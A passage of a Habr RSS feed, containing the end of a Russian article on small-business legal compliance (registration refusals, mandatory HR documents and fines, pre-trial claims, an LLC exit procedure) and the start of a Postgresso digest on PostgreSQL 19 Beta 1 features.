регистрации&lt;/h4&gt;&lt;p&gt;По п. 1 ст. 23 ФЗ № 129-ФЗ ФНС вправе отказать по исчерпывающему перечню оснований. На практике основные:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Ошибки в форме Р13014: несоответствие паспортных данных данным в базе МВД (поменялся паспорт, а заявитель использует старые данные); неверное заполнение листов при одновременном изменении нескольких сведений.&lt;li&gt;&lt;p&gt;Подача неуполномоченным лицом: представитель по доверенности должен предъявить нотариально удостоверенную доверенность, если подача не электронная.&lt;li&gt;&lt;p&gt;Использование адреса из реестра «массовых адресов» ФНС.&lt;li&gt;&lt;p&gt;Противоречие устава нормам Федерального закона от 08.02.1998 № 14-ФЗ «Об обществах с ограниченной ответственностью» — например, положения о порядке одобрения крупных сделок, сформулированные без учёта изменений 2017 года (ФЗ от 03.07.2016 № 343-ФЗ).&lt;/ul&gt;&lt;p&gt;После отказа повторная подача возможна в любое время, однако госпошлина не возвращается — каждая попытка стоит 800 ₽. При электронной подаче этот риск отсутствует.&lt;h3&gt;Кадровое делопроизводство: обязательный минимум и нормативные требования&lt;/h3&gt;&lt;h4&gt;Почему кадровая документация — это не бюрократия&lt;/h4&gt;&lt;p&gt;Трудовая инспекция (Роструд) при плановых и внеплановых проверках проверяет конкретный перечень документов. Отсутствие каждого из них — самостоятельный состав административного правонарушения. Санкции по ст. 5.27 КоАП РФ применяются к каждому случаю нарушения отдельно, и суды отвергают попытки квалифицировать несколько нарушений как одно.&lt;h4&gt;Перечень обязательных кадровых документов&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Трудовой договор&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма ТК РФ: ст. 57, 67 ТК РФ&lt;li&gt;&lt;p&gt;Санкция за отсутствие (юрлицо): до 100 000 ₽ (ч. 4 ст. 5.27 КоАП РФ)&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Приказ о приёме на работу&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма ТК РФ: ст. 68 ТК РФ&lt;li&gt;&lt;p&gt;Санкция за отсутствие: до 50 000 ₽ (ч. 1 ст. 5.27 КоАП РФ)&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Трудовая книжка или форма СТД-Р (ЭТК)&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма ТК РФ: ст. 66, 66.1 ТК РФ&lt;li&gt;&lt;p&gt;Санкция за отсутствие: до 50 000 ₽&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Правила внутреннего трудового распорядка (ПВТР)&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма ТК РФ: ст. 189, 190 ТК РФ&lt;li&gt;&lt;p&gt;Санкция за отсутствие: до 50 000 ₽&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Штатное расписание&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма ТК РФ: ст. 57 ТК РФ (косвенно)&lt;li&gt;&lt;p&gt;Санкция за отсутствие: до 50 000 ₽&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;График отпусков&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма ТК РФ: ст. 123 ТК РФ&lt;li&gt;&lt;p&gt;Санкция за отсутствие: до 50 000 ₽&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Положение об оплате труда&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма ТК РФ: ст. 135 ТК РФ&lt;li&gt;&lt;p&gt;Санкция за отсутствие: до 50 000 ₽&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Журнал инструктажа по охране труда&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма ТК РФ: ст. 212, 225 ТК РФ; Постановление Правительства от 24.12.2021 № 2464&lt;li&gt;&lt;p&gt;Санкция за отсутствие: до 130 000 ₽ (ч. 3 ст. 5.27.1 КоАП РФ)&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Документы воинского учёта (при наличии военнообязанных)&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Норма: ФЗ от 28.03.1998 № 53-ФЗ; Постановление Правительства от 27.11.2006 № 719&lt;li&gt;&lt;p&gt;Санкция за отсутствие: до 500 000 ₽ (после изменений 2023 г.)&lt;/ul&gt;&lt;h4&gt;Критичные изменения 2023–2025 годов в кадровом законодательстве&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Воинский учёт.&lt;/strong&gt; Федеральным законом от 14.04.2023 № 127-ФЗ внесены изменения в КоАП РФ: штрафы за нарушения воинского учёта увеличены кратно. Непредставление списков граждан, подлежащих первоначальной постановке на воинский учёт, — до 400 000 ₽. Организации с численностью от 1 сотрудника обязаны вести воинский учёт, если в штате есть военнообязанные.&lt;p&gt;&lt;strong&gt;Охрана труда.&lt;/strong&gt; С 1 марта 2022 года действует новый раздел X ТК РФ. Постановление Правительства от 24.12.2021 № 2464 установило новый Порядок обучения по охране труда. Обязанность работодателя провести обучение всех сотрудников, включая руководителя, возникает вне зависимости от численности. Внутреннее обучение допустимо только при соблюдении установленных требований к программам.&lt;p&gt;&lt;strong&gt;Электронный документооборот.&lt;/strong&gt; С 22 ноября 2021 года ТК РФ предусматривает электронный кадровый документооборот (ЭКДО) по ст. 22.1–22.3 ТК РФ. Работодатель вправе перейти на ЭКДО через систему «Работа в России» или собственную платформу при соблюдении требований к ЭЦП. Для введения ЭКДО требуется локальный нормативный акт и согласие работников.&lt;h4&gt;Типовые ошибки в трудовых договорах&lt;/h4&gt;&lt;p&gt;По итогам проверок ГИТ системно выявляются следующие нарушения:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Отсутствие обязательных условий по ст. 57 ТК РФ: место работы, трудовая функция, дата начала работы, условия оплаты, режим рабочего времени. Каждое — самостоятельное нарушение при проверке.&lt;li&gt;&lt;p&gt;Противоречие между трудовым договором и локальными актами: например, ПВТР устанавливает один режим работы, трудовой договор — другой. При споре применяется норма, более благоприятная для работника (ст. 8 ТК РФ).&lt;li&gt;&lt;p&gt;Ненадлежащее оформление испытательного срока: испытание не предусмотрено в тексте договора, но прописано только в приказе — условие недействительно (ч. 2 ст. 70 ТК РФ).&lt;li&gt;&lt;p&gt;Использование гражданско-правового договора для фактических трудовых отношений. При переквалификации — доначисление страховых взносов, штраф по ч. 3 ст. 5.27 КоАП РФ (до 100 000 ₽), обязание оформить трудовой договор с даты фактического допуска к работе.&lt;/ol&gt;&lt;h3&gt;Претензионная работа как обязательная досудебная стадия&lt;/h3&gt;&lt;p&gt;Для малого бизнеса претензионная работа критична по двум причинам: процессуальной и экономической.&lt;p&gt;&lt;strong&gt;Процессуальная.&lt;/strong&gt; По ч. 5 ст. 4 АПК РФ для большинства требований из предпринимательской деятельности соблюдение претензионного порядка обязательно. Срок ожидания ответа — 30 календарных дней с даты направления претензии, если иной срок не предусмотрен договором или законом. Несоблюдение претензионного порядка — основание для оставления иска без рассмотрения (п. 2 ч. 1 ст. 148 АПК РФ).&lt;p&gt;&lt;strong&gt;Экономическая.&lt;/strong&gt; Правильно составленная претензия часто закрывает спор без суда. Она фиксирует позицию, ссылается на нормы и конкретные договорные условия, устанавливает срок и последствия. Контрагент понимает, что другая сторона готова к суду и обладает нормативной базой. Процент добровольного урегулирования при грамотно составленной претензии статистически выше.&lt;p&gt;Дата направления претензии имеет значение и для исчисления процентов по ст. 395 ГК РФ — при определённых условиях проценты начисляются с момента получения претензии.&lt;h3&gt;Аутсорсинг vs. штатный юрист: операционное сравнение&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Штатный юрист:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Полная стоимость в месяц: 90 000–140 000 ₽ (оклад + страховые взносы ~30% + рабочее место)&lt;li&gt;&lt;p&gt;Охват компетенций: один специалист не покрывает корпоративное, налоговое, трудовое и арбитражное направления одновременно&lt;li&gt;&lt;p&gt;Непрерывность: отпуск, больничный, увольнение — разрыв в обслуживании&lt;li&gt;&lt;p&gt;SLA: не формализовано&lt;li&gt;&lt;p&gt;Целесообразность штатного: более 30 договоров в месяц, частые суды (10+ в год), необходимость ежедневного физического присутствия&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Юридический аутсорсинг:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Полная стоимость в месяц: 15 000–50 000 ₽ (абонемент)&lt;li&gt;&lt;p&gt;Охват компетенций: несколько специалистов по профилям&lt;li&gt;&lt;p&gt;Непрерывность: регламентированная замена&lt;li&gt;&lt;p&gt;SLA: обычно 2–4 часа на стандартный запрос&lt;li&gt;&lt;p&gt;Целесообразность: все остальные случаи&lt;/ul&gt;&lt;p&gt;Порог численности, при котором аутсорсинг теряет экономическую эффективность по сравнению со штатным юристом для типового малого бизнеса, — около 50 сотрудников при интенсивном договорном потоке. До этого порога содержание штатного юриста экономически не обосновано.&lt;h3&gt;Аудит документации: операционный чек-лист&lt;/h3&gt;&lt;p&gt;Перед началом работы с юристом (или для самостоятельной первичной оценки) проверяется следующий минимум:&lt;p&gt;&lt;strong&gt;Корпоративный блок:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Устав — актуальная редакция с отметкой ФНС; учтены ли изменения ФЗ № 14-ФЗ, вносившиеся в 2017–2023 годах&lt;li&gt;&lt;p&gt;Лист записи ЕГРЮЛ — дата последней актуализации данных&lt;li&gt;&lt;p&gt;Решение / протокол о назначении действующего директора&lt;li&gt;&lt;p&gt;Срок полномочий директора по уставу — не истёк ли&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Договорной блок:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Наличие письменной формы по всем сделкам свыше 10 000 ₽ (ст. 161 ГК РФ — для сделок юрлиц)&lt;li&gt;&lt;p&gt;Соответствие договоров фактическим отношениям (риск переквалификации)&lt;li&gt;&lt;p&gt;Сроки исковой давности по просроченной дебиторской задолженности (общий срок — 3 года, ст. 196 ГК РФ)&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Кадровый блок:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Трудовые договоры со всеми сотрудниками, включая директора [ПРОВЕРИТЬ_ЮРИСТУ — директор — единственный участник: трудовой договор или нет; позиция Роструда и судебная практика расходятся]&lt;li&gt;&lt;p&gt;ПВТР, положение об оплате труда, положение об охране труда&lt;li&gt;&lt;p&gt;Журналы инструктажей с подписями&lt;li&gt;&lt;p&gt;Воинский учёт — карточки по форме № 10, журнал проверок&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Налоговый блок:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Уведомление о переходе на УСН (если применяется) — есть ли подтверждение от ФНС&lt;li&gt;&lt;p&gt;Книга учёта доходов и расходов (КУДиР) — ведётся ли корректно&lt;/ul&gt;&lt;h3&gt;Что происходит при выходе участника из ООО&lt;/h3&gt;&lt;p&gt;Это одна из процедур, где самостоятельные действия наиболее рискованны из-за обязательного нотариального удостоверения и жёстких сроков.&lt;p&gt;Алгоритм по ст. 26 ФЗ № 14-ФЗ:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Участник подаёт нотариально удостоверенное заявление о выходе. С момента получения заявления обществом доля переходит к обществу.&lt;li&gt;&lt;p&gt;Нотариус, удостоверивший заявление, в течение 2 рабочих дней направляет в ФНС заявление о внесении изменений в ЕГРЮЛ (форма Р13014).&lt;li&gt;&lt;p&gt;Общество обязано выплатить действительную стоимость доли в течение 3 месяцев (если иной срок не предусмотрен уставом) — ст. 23 ФЗ № 14-ФЗ.&lt;li&gt;&lt;p&gt;Действительная стоимость доли рассчитывается на основании данных бухгалтерской отчётности за последний отчётный период, предшествующий дате выхода.&lt;/ol&gt;&lt;p&gt;Уклонение от выплаты или занижение стоимости доли — основание для иска в арбитражный суд. Споры о действительной стоимости доли — один из наиболее распространённых корпоративных споров в арбитраже.&lt;h3&gt;Операционные выводы&lt;/h3&gt;&lt;p&gt;Юридические задачи малого бизнеса поддаются систематизации и в значительной части — стандартизации. Основные риски концентрируются не в экзотических ситуациях, а в рутине: несоответствие устава действующему закону, трудовые договоры без обязательных условий, просроченные сроки исковой давности по дебиторке, неправильно рассчитанные 20 дней при смене адреса.&lt;p&gt;Нормативная база в части кадрового законодательства и регистрационных процедур активно менялась в 2020–2024 годах. Документы, разработанные три-пять лет назад и с тех пор не актуализированные, с высокой вероятностью содержат устаревшие нормы. Это создаёт риски не при повседневной работе, а именно в момент проверки или спора, когда ошибка уже зафиксирована и обратного пути нет.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>ddconsult</author>
      <guid>https://habr.com/ru/articles/1046257/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046257</guid>
      <pubDate>Wed, 10 Jun 2026 21:09:37 +0000</pubDate>
    </item>
    <item>
      <title>Postgresso 4 (89)</title>
      <link>https://habr.com/ru/companies/postgrespro/articles/1027904/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1027904</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/411/fa9/617/411fa9617130c99e1099ce4edea745f4.jpg width=2000 height=720 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/411/fa9/617/411fa9617130c99e1099ce4edea745f4.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/411/fa9/617/411fa9617130c99e1099ce4edea745f4.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Бета&lt;/h2&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/about/news/postgresql-19-beta-1-released-3313/&gt;&lt;strong&gt;PostgreSQL: PostgreSQL 19 Beta 1&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Официальный релиз запланировали на сентябрь/октябрь. Вот что старейшины решили выделить в описании релиза 19-й версии:&lt;p&gt;&lt;em&gt;Производительность&lt;/em&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;PostgreSQL 19 усовершенствует асинхронную подсистему ввода-вывода, представленную в PostgreSQL 18: &lt;code&gt;io_method=worker&lt;/code&gt; теперь автоматически масштабирует количество рабочих процессов ввода-вывода на основе новых параметров &lt;a href=https://www.postgresql.org/docs/19/runtime-config-resource.html#GUC-IO-MIN-WORKERS&gt;&lt;code&gt;io_min_workers&lt;/code&gt;&lt;/a&gt; и &lt;a href=https://www.postgresql.org/docs/19/runtime-config-resource.html#GUC-IO-MAX-WORKERS&gt;&lt;code&gt;io_max_workers&lt;/code&gt;&lt;/a&gt;.&lt;li&gt;&lt;p&gt;Расширение &lt;a href=https://www.postgresql.org/docs/19/pgplanadvice.html&gt;&lt;code&gt;pg_plan_advice&lt;/code&gt;&lt;/a&gt; позволяет пользователям стабилизировать и контролировать решения планировщика, а &lt;a href=https://www.postgresql.org/docs/19/pgstashadvice.html&gt;&lt;code&gt;pg_stash_advice&lt;/code&gt;&lt;/a&gt; - автоматически применять рекомендации, используя идентификаторы запросов.&lt;li&gt;&lt;p&gt;Autovacuum теперь может использовать параллельные рабочие процессы, которые можно настраивать с помощью нового параметра &lt;a href=https://www.postgresql.org/docs/19/runtime-config-autovacuum.html#GUC-AUTOVACUUM-MAX-PARALLEL-WORKERS&gt;&lt;code&gt;autovacuum_max_parallel_workers&lt;/code&gt;&lt;/a&gt;, а новая система оценки autovacuum помогает расставлять приоритеты таблиц при их вакуумировании. Кроме того теперь PostgreSQL помечает страницы как видимые, когда их запрашивают.&lt;li&gt;&lt;p&gt;Добавлена новая команда &lt;code&gt;REPACK&lt;/code&gt; и ее неблокирующая опция &lt;code&gt;CONCURRENTLY&lt;/code&gt;, которые позволяют перестраивать таблицы с меньшими операционными накладными расходами.&lt;li&gt;&lt;p&gt;PostgreSQL 19 увеличил производительность в 2 раза на INSERT при проверках &lt;a href=https://www.postgresql.org/docs/19/ddl-constraints.html#DDL-CONSTRAINTS-FK&gt;внешних ключей&lt;/a&gt;. Также: новые оптимизации anti-join, более широкое использование инкрементных сортировок, &amp;#34;жадную&amp;#34; (&lt;a href=https://www.postgresql.org/docs/19/runtime-config-query.html#GUC-ENABLE-EAGER-AGGREGATE&gt;eager&lt;/a&gt;) агрегацию, быстрое чтение из хранилища во время параллельных последовательных сканирований, упрощение &lt;a href=https://www.postgresql.org/docs/19/functions-comparison.html&gt;&lt;code&gt;IS DISTINCT FROM&lt;/code&gt;&lt;/a&gt; и &lt;a href=https://www.postgresql.org/docs/19/functions-comparison.html&gt;&lt;code&gt;IS NOT DISTINCT FROM&lt;/code&gt;&lt;/a&gt; до простых операторов &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; и &lt;code&gt;=&lt;/code&gt;, когда входные данные не могут быть NULL. Также есть улучшения для масштабируемости &lt;a href=https://www.postgresql.org/docs/19/sql-listen.html&gt;&lt;code&gt;LISTEN&lt;/code&gt;&lt;/a&gt;/&lt;a href=https://www.postgresql.org/docs/19/sql-notify.html&gt;&lt;code&gt;NOTIFY&lt;/code&gt;&lt;/a&gt;, которые влияют на многоканальные рабочие нагрузки.&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Удобства для разработчиков&lt;/em&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;На первое место в этом разделе поставили поддержку &lt;a href=https://www.postgresql.org/docs/19/ddl-property-graphs.html&gt;SQL/PGQ&lt;/a&gt;. Логично, такого ещё не было. Это не просто часть стандарта &lt;a href=https://peter.eisentraut.org/blog/2023/04/04/sql-2023-is-finished-here-is-whats-new&gt;SQL:2023 ISO&lt;/a&gt;, это возможности удобной работы с графами, так актуальные во времена ИИ и анализа соцсетей. Об этом, например, &lt;a href=https://www.enterprisedb.com/blog/representing-graphs-postgresql-sqlpgq&gt;здесь&lt;/a&gt;.&lt;li&gt;&lt;p&gt;Дальше - новые возможности темпоральных запросов: добавили поддержку &lt;code&gt;UPDATE&lt;/code&gt; и &lt;code&gt;DELETE&lt;/code&gt; для конструкции &lt;a href=https://www.postgresql.org/docs/19/sql-update.html&gt;&lt;code&gt;FOR PORTION OF&lt;/code&gt;&lt;/a&gt;.&lt;li&gt;&lt;p&gt;Добавили &lt;a href=https://www.postgresql.org/docs/19/sql-altertable.html&gt;&lt;code&gt;ALTER TABLE ... MERGE PARTITIONS&lt;/code&gt;&lt;/a&gt; и &lt;a href=https://www.postgresql.org/docs/19/sql-altertable.html&gt;&lt;code&gt;ALTER TABLE ... SPLIT PARTITIONS&lt;/code&gt;&lt;/a&gt; для упрощения реорганизации секционированных таблиц на месте. Появилась поддержка возврата строк, конфликтующих во время операции upsert, с помощью &lt;a href=https://www.postgresql.org/docs/19/sql-insert.html#SQL-ON-CONFLICT&gt;&lt;code&gt;INSERT ... ON CONFLICT DO SELECT ... RETURNING&lt;/code&gt;&lt;/a&gt;.&lt;li&gt;&lt;p&gt;Новый синтаксис &lt;a href=https://www.postgresql.org/docs/19/sql-select.html#SQL-GROUPBY&gt;&lt;code&gt;GROUP BY ALL&lt;/code&gt;&lt;/a&gt; упрощает добавление всех неагрегируемых и неоконных (non-aggregate and non-window) выходных столбцов в качестве части группировки.&lt;li&gt;&lt;p&gt;Для работы с &lt;a href=https://www.postgresql.org/docs/19/functions-json.html#FUNCTIONS-SQLJSON-PATH&gt;jsonpath&lt;/a&gt; добавили функции &lt;code&gt;lower()&lt;/code&gt;, &lt;code&gt;upper()&lt;/code&gt;, &lt;code&gt;initcap()&lt;/code&gt;, &lt;code&gt;replace()&lt;/code&gt;, &lt;code&gt;split_part()&lt;/code&gt; и семейство функций &lt;code&gt;trim()&lt;/code&gt;.&lt;li&gt;&lt;p&gt;Новая команда &lt;a href=https://www.postgresql.org/docs/19/sql-wait-for.html&gt;&lt;code&gt;WAIT FOR LSN&lt;/code&gt;&lt;/a&gt; упрощает использование паттернов запросов типа &amp;#34;чтение своих записей&amp;#34; (read-your-writes) при работе с репликами: сеанс сможет ждать, пока изменения до определенной позиции в логе (LSN) не будут воспроизведены на реплике, а уже потом выполнять запрос &lt;code&gt;SELECT&lt;/code&gt;.&lt;li&gt;&lt;p&gt;Добавили новые SQL-функции для получения &lt;a href=https://www.postgresql.org/docs/19/functions-info.html#FUNCTIONS-GET-OBJECT-DDL&gt;DDL&lt;/a&gt;, необходимых для воссоздания ролей, табличных пространств и баз данных, что упрощает написание скриптов и миграций.&lt;li&gt;&lt;p&gt;Функция &lt;a href=https://www.postgresql.org/docs/19/functions-math.html#FUNCTIONS-MATH-RANDOM-TABLE&gt;&lt;code&gt;random()&lt;/code&gt;&lt;/a&gt; теперь работает с типами &lt;code&gt;date&lt;/code&gt; и &lt;code&gt;timestamp&lt;/code&gt;, а &lt;a href=https://www.postgresql.org/docs/19/plpython-event-trigger.html&gt;PL/Python&lt;/a&gt; теперь поддерживает событийные триггеры.&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Безопасность&lt;/em&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;С серверной поддержкой Server Name Indication (SNI) через новый файл &lt;a href=https://www.postgresql.org/docs/19/ssl-tcp.html#SSL-SNI&gt;&lt;code&gt;pg_hosts.conf&lt;/code&gt;&lt;/a&gt; сервер PostgreSQL может предоставлять разные TLS-сертификаты в зависимости от запрошенного клиентом имени хоста.&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Мониторинг и прозрачность (так я, не настаивая, предлагаю переводить observability)&lt;/em&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Статистику по типам блокировок можно увидеть в представлении &lt;a href=https://www.postgresql.org/docs/19/monitoring-stats.html#MONITORING-PG-STAT-LOCK-VIEW&gt;&lt;code&gt;pg_stat_lock&lt;/code&gt;&lt;/a&gt;, а детали операций восстановления в &lt;a href=https://www.postgresql.org/docs/19/monitoring-stats.html#MONITORING-PG-STAT-RECOVERY-VIEW&gt;&lt;code&gt;pg_stat_recovery&lt;/code&gt;&lt;/a&gt;. Столбец &lt;code&gt;stats_reset&lt;/code&gt; теперь доступен во многих представлениях статистики, он показывает, когда счетчики были очищены в последний раз. Представления &lt;a href=https://www.postgresql.org/docs/19/progress-reporting.html#VACUUM-PROGRESS-REPORTING&gt;&lt;code&gt;pg_stat_progress_vacuum&lt;/code&gt;&lt;/a&gt; и &lt;a href=https://www.postgresql.org/docs/19/progress-reporting.html#ANALYZE-PROGRESS-REPORTING&gt;&lt;code&gt;pg_stat_progress_analyze&lt;/code&gt;&lt;/a&gt; теперь включают столбец &lt;code&gt;started_by&lt;/code&gt;, а &lt;code&gt;pg_stat_progress_vacuum&lt;/code&gt; - столбец &lt;code&gt;mode&lt;/code&gt;.&lt;li&gt;&lt;p&gt;Можно указывать уровни &lt;a href=https://www.postgresql.org/docs/19/runtime-config-logging.html#GUC-LOG-MIN-MESSAGES&gt;&lt;code&gt;log_min_messages&lt;/code&gt;&lt;/a&gt; для каждого типа процесса. Количество байтов, записанных в виде полных страниц WAL, теперь выводится в лог &lt;a href=https://www.postgresql.org/docs/19/sql-vacuum.html&gt;&lt;code&gt;VACUUM&lt;/code&gt;&lt;/a&gt; и &lt;a href=https://www.postgresql.org/docs/19/sql-analyze.html&gt;&lt;code&gt;ANALYZE&lt;/code&gt;&lt;/a&gt;, а &lt;code&gt;EXPLAIN ANALYZE&lt;/code&gt; теперь показывает статистику асинхронного ввода-вывода (AIO) через опцию &lt;code&gt;IO&lt;/code&gt;.&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Логическая репликация и федерализация запросов&lt;/em&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Логическая репликация научилась реплицировать последовательности. Новый синтаксис &lt;a href=https://www.postgresql.org/docs/19/sql-createpublication.html&gt;&lt;code&gt;CREATE PUBLICATION ... EXCEPT&lt;/code&gt;&lt;/a&gt; позволяет публиковать все таблицы в базе данных, кроме указанного набора, а &lt;a href=https://www.postgresql.org/docs/19/sql-createsubscription.html&gt;&lt;code&gt;CREATE SUBSCRIPTION ... SERVER&lt;/code&gt;&lt;/a&gt; позволяет определять подписки с использованием стороннего сервера (foreign server), упрощая управление учетными данными.&lt;li&gt;&lt;p&gt;Логическую репликацию теперь можно включать без перезапуска сервера - по мере необходимости, даже если параметр &lt;a href=https://www.postgresql.org/docs/19/runtime-config-wal.html#GUC-WAL-LEVEL&gt;&lt;code&gt;wal_level&lt;/code&gt;&lt;/a&gt; установлен в значение &lt;code&gt;replica&lt;/code&gt;.&lt;li&gt;&lt;p&gt;Новый параметр &lt;a href=https://www.postgresql.org/docs/19/runtime-config-preset.html#GUC-EFFECTIVE-WAL-LEVEL&gt;&lt;code&gt;effective_wal_level&lt;/code&gt;&lt;/a&gt; (доступный только для чтения) сообщает о текущем действующем уровне WAL - можно заранее не фиксировать более высокий уровень WAL для кластеров, который он может потребоваться лишь эпизодически.&lt;li&gt;&lt;p&gt;В &lt;a href=https://www.postgresql.org/docs/19/postgres-fdw.html&gt;&lt;code&gt;postgres_fdw&lt;/code&gt;&lt;/a&gt; : вынос операций с массивами на удалённый сервер (pushdown), использование статистики с внешних таблиц для поддержки более качественного локального планирования запросов.&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Ещё новое:&lt;/em&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Организационное: период бета-тестирования отныне включает временный режим &lt;a href=https://wiki.postgresql.org/wiki/Grease&gt;grease mode&lt;/a&gt; (режим «смазки») для проверки проблем совместимости протокола в более &lt;em&gt;широкой экосистеме&lt;/em&gt;. Об этом сделали специальную &lt;a href=https://wiki.postgresql.org/wiki/Grease&gt;страничку в Postgres-wiki&lt;/a&gt;.&lt;li&gt;&lt;p&gt;Можно включать и отключать &lt;a href=https://www.postgresql.org/docs/19/checksums.html&gt;контрольные суммы&lt;/a&gt; без перезапуска или реинициализации кластера.&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;JIT (&lt;a href=https://www.postgresql.org/docs/19/jit.html&gt;Just-in-time компиляция&lt;/a&gt;) теперь отключена по умолчанию.&lt;li&gt;&lt;p&gt;Параметр &lt;a href=https://www.postgresql.org/docs/19/runtime-config-client.html#GUC-DEFAULT-TOAST-COMPRESSION&gt;&lt;code&gt;default_toast_compression&lt;/code&gt;&lt;/a&gt; по умолчанию теперь установлен в lz4.&lt;li&gt;&lt;p&gt;Поддержка аутентификации RADIUS удалена.&lt;li&gt;&lt;p&gt;Команда &lt;a href=https://www.postgresql.org/docs/19/app-vacuumdb.html&gt;&lt;code&gt;vacuumdb --analyze-only&lt;/code&gt;&lt;/a&gt; по умолчанию теперь анализирует секционированные таблицы.&lt;/ul&gt;&lt;p&gt;Полный список новых и изменённых функций см. в примечаниях к релизу и другие ресурсы:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/docs/19/release-19.html&gt;PostgreSQL 19 Beta Release Notes&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/download/&gt;Можно скачать отсюда&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/developer/beta/&gt;О бета-тестировании&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://wiki.postgresql.org/wiki/PostgreSQL_19_Open_Items&gt;Нерешённые проблемы&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/account/submitbug/&gt;Напишите о баге&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/about/donate/&gt;Дайте денег&lt;/a&gt;&lt;/ul&gt;&lt;h2&gt;Бета. Статьи.&lt;/h2&gt;&lt;h4&gt;Обзоры Павла Лузанова&lt;/h4&gt;&lt;p&gt;Цикл статей-обзоров изменений 19 версии на основе коммитфестов. &lt;a href=https://habr.com/ru/companies/postgrespro/articles/996010/&gt;PostgreSQL 19: Часть 4 или Коммитфест 2026-01&lt;/a&gt;, а также &lt;a href=https://habr.com/ru/companies/postgrespro/articles/992426/&gt;2025-11&lt;/a&gt;, &lt;a href=https://habr.com/ru/companies/postgrespro/articles/986694/&gt;2025-09&lt;/a&gt;, &lt;a href=https://habr.com/ru/companies/postgrespro/articles/984580/&gt;2025-07&lt;/a&gt;.&lt;h4&gt;И не только&lt;/h4&gt;&lt;p&gt;Среди других статей о новшествах версии есть такая:&lt;p&gt;&lt;a href=https://thebuild.com/blog/2026/05/01/two-hundred-and-twelve-things/&gt;&lt;strong&gt;Two Hundred and Twelve Things&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Пишет &lt;em&gt;Кристоф Питтус&lt;/em&gt; (Christophe Pettus) в собственном блоге &lt;a href=https://thebuild.com/blog/&gt;The Build&lt;/a&gt; собственной консалтинговой компании с тем же названием. Его угол зрения - из коморки DBA. То, что наиболее важно для его работы. Поэтому о, скажем, графах он не пишет. Вот его топ для админов:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;Worker-managed AIO - &lt;/em&gt;пул потоков асинхронного I/O теперь масштабируется автоматически (&lt;code&gt;io_min_workers&lt;/code&gt;, &lt;code&gt;io_max_workers&lt;/code&gt; и др.) - настроил и забыл.&lt;li&gt;&lt;p&gt;LEFT JOIN → ANTI JOIN - планировщик чаще переписывает &lt;code&gt;LEFT JOIN ... WHERE col IS NULL&lt;/code&gt; как анти-джойн - дешевле выполнение, особенно на 